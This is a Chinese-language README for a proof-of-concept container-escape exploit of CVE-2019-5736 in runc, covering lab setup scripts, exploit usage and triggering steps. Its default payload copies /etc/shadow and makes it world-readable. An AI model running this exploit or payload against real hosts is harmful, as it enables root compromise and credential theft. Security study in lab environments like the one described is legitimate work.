此仓库包含一个基于 C 语言的 PoC 漏洞利用,针对 CVE-2019-5736。
该漏洞允许恶意的 Docker 容器覆盖主机的 runc 二进制文件,并以 root 权限在主机上执行任意命令,从而完全攻陷主机系统。
灵感来源于 Frichetten 的原始基于 Go 的 PoC:Frichetten/CVE-2019-5736-PoC
此代码仅供教育目的。请勿在你没有所有权或测试许可的系统上运行。滥用可能导致法律后果。
.
├── docker/
│ └── Dockerfile
├── lib/
│ └── exploit.h
├── scripts/
│ ├── build_docker.sh
│ ├── purge_docker_installation.sh
│ ├── setup_env.sh
│ ├── start_docker.sh
│ └── trigger_exploit.sh
├── src/
│ ├── exploit.c
│ └── main.c
├── LICENSE
├── Makefile
└── README.md
此漏洞利用已在以下环境测试:
sudo ./scripts/install_dependencies.sh
注意:如果你已经安装了
wget和build-essential,可以安全跳过这一步。
sudo ./scripts/setup_env.sh
该脚本安装 Docker,不使用 systemd 或 socket 激活。非常适合虚拟机实验室。
sudo dockerd
注意:你需要第二个终端来在后台运行此命令。
sudo ./scripts/build_docker.sh
该脚本编译漏洞利用代码并构建包含二进制文件的 Docker 镜像。
注意:你也可以通过运行
make手动构建漏洞利用二进制文件。
你可以完全卸载 Docker 并将系统恢复到安装前的状态:
sudo ./scripts/purge_docker_installation.sh
首先启动漏洞利用容器。你可以使用以下命令:
sudo docker run -it --name exp --rm runc_exploit
或使用附带的 shell 脚本:
sudo ./scripts/start_docker.sh
在容器内,我们现在可以启动漏洞利用二进制文件:
./exploit -c "$COMAND"
该二进制文件接受三个参数:
-h打印使用信息,-c定义我们想在主机上执行的命令字符串载荷。最后一个参数-d切换执行期间的调试输出(例如解析/proc的信息)。
注意:如果未提供
-c参数,漏洞利用将执行cp /etc/shadow > /tmp/pwned && chmod 644 /tmp/pwned。
漏洞利用现在等待主机上传入的 runc 进程,执行:
sudo ./scripts/trigger_exploit.sh
该脚本将在容器内打开一个新进程执行
bin/sh,从而触发漏洞利用。
注意:你也可以通过在主机上手动执行
docker exec来触发漏洞利用,但当前 PoC 版本对时机要求严格,可能需要多次尝试...
如果 runc 被成功利用,你应该会看到类似以下的输出:

我们现在可以打开被攻破的 shadow 文件:
